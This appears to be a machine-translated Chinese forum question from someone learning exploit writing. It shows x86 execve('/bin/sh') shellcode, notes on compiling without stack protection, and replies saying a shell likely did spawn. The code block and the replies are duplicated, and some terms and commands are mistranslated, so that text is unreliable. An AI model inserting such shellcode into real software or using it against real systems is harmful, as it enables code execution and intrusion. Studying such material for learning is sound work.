使用旧Linux操作系统学习利用漏洞的技术

使用旧Linux操作系统学习利用漏洞的技术,linux,opcode,shellcode,Linux,Opcode,Shellcode,我正在学习如何写战功。因为在新的linux版本中,它们有很多堆栈保护机制。我已经安装了Linux“Hardy Heron”。我选择Hardy Heron的原因是因为发行日(我想是2008年)……而且由于shellcoders手册就是从那时开始的,我认为代码示例也必须起作用 [在我的主机系统上,我有Linux“Precise Penguin”。因此,当我在主机系统上编写漏洞攻击时,我需要键入标志选项:-fno stack protector或-z execstack] 所以我在VirtualBox

我正在学习如何写战功。因为在新的linux版本中,它们有很多堆栈保护机制。我已经安装了Linux“Hardy Heron”。我选择Hardy Heron的原因是因为发行日(我想是2008年)……而且由于shellcoders手册就是从那时开始的,我认为代码示例也必须起作用

[在我的主机系统上,我有Linux“Precise Penguin”。因此,当我在主机系统上编写漏洞攻击时,我需要键入标志选项:-fno stack protector-z execstack]

所以我在VirtualBox上安装了Linux“Hardy Heron”。然后,我尝试编写典型的“/bin/sh”-利用,如书中所述

代码如下所示:

Section .text

     global _start

_start:
       jmp  short GoToCall

execve: 
       pop esi
       xor eax, eax
       mov [esi+7], al
       lea ebx, [esi]
       mov [esi+8], ebx
       mov [esi+12], eax
       lea ecx, [esi+8]
       mov edx, [esi+12]
       mov ebx, esi
       mov al, 0xb
       int 0x80



GoToCall:
       call execve
       db '/bin/shJAAAAKKKK'
user@linux:~/Desktop/Code$ ./execve_shellcode
user@linux:~/Desktop/Code$
我使用objdump提取操作码,并将其放入char数组中。 但是当我用命令gcc-o execve\u外壳代码execve\u外壳代码.c编译外壳代码(例如execve\u外壳代码.c)并键入/execve\u外壳代码时 结果什么也没发生。我只有一条新线路。因此,它看起来如下所示:

Section .text

     global _start

_start:
       jmp  short GoToCall

execve: 
       pop esi
       xor eax, eax
       mov [esi+7], al
       lea ebx, [esi]
       mov [esi+8], ebx
       mov [esi+12], eax
       lea ecx, [esi+8]
       mov edx, [esi+12]
       mov ebx, esi
       mov al, 0xb
       int 0x80



GoToCall:
       call execve
       db '/bin/shJAAAAKKKK'
user@linux:~/Desktop/Code$ ./execve_shellcode
user@linux:~/Desktop/Code$
有人能告诉我出了什么问题吗?哈代苍鹭还有其他保护机制吗?顺便说一句,我也用上面提到的flag命令编译了它,但结果相同

[注意:由于不再支持Hardy Heron,我通过更改/etc/apt中的sources.list文件来更新和升级系统。在该文件中,我替换http://.... .ubuntu/链接到

我希望有人能帮助我。我不知道为什么它不起作用。也许外壳代码是错误的,但我找不到任何错误,或者Hardy使用了我不知道的保护机制

有人能帮忙吗


致以最诚挚的问候,

您可能想问一下哦,我不知道那个网站。从shell中下载shell通常是这样的,很可能您可以键入exit并返回到初始的shell。否,它必须指向“$”-签名,或者?你可能想问一下哦,我不知道那个网站。从shell中下载shell通常是这样的,很可能你可以键入exit并返回初始shell否,它必须指向“$”-签名,或者?